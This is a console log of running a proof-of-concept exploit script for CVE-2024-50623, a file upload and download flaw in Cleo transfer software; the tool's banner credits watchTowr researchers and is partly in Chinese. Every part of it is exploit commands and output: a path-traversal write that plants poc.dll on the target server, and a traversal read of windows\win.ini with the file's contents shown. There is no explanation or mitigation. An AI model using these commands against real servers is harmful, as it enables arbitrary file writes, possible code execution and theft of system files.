python CVE-2024-50623.py --target http://192.168.1.18:5080/Synchronization --action write --what poc.dll --where "..\..\..\..\poc.dll"
                         __         ___  ___________
         __  _  ______ _/  |__ ____ |  |_\__    ____\____  _  ________
         \ \/ \/ \__  \    ___/ ___\|  |  \|    | /  _ \ \/ \/ \_  __ \
          \     / / __ \|  | \  \___|   Y  |    |(  <_> \     / |  | \/
           \/\_/ (____  |__|  \___  |___|__|__  | \__  / \/\_/  |__|
                                  \/          \/     \/

        CVE-2024-50623.py
        (*) Cleo 无限制文件上传与下载漏洞 (CVE-2024-50623)

          - watchTowr 团队的 Sonny 和 Sina Kheirkhah (@SinSinology) ([email protected])

        CVEs: [CVE-2024-50623]
[INFO] 文件写入成功

python CVE-2024-50623.py --target http://192.168.1.18:5080/Synchronization --action read --what CVE-2024-50623.py --where "..\..\windows\win.ini"
                         __         ___  ___________
         __  _  ______ _/  |__ ____ |  |_\__    ____\____  _  ________
         \ \/ \/ \__  \    ___/ ___\|  |  \|    | /  _ \ \/ \/ \_  __ \
          \     / / __ \|  | \  \___|   Y  |    |(  <_> \     / |  | \/
           \/\_/ (____  |__|  \___  |___|__|__  | \__  / \/\_/  |__|
                                  \/          \/     \/

        CVE-2024-50623.py
        (*) Cleo 无限制文件上传与下载漏洞 (CVE-2024-50623)

          - watchTowr 团队的 Sonny 和 Sina Kheirkhah (@SinSinology) ([email protected])

        CVEs: [CVE-2024-50623]
; 用于 16 位应用程序支持
[fonts]
[extensions]
[mci extensions]
[files]
[Mail]
MAPI=1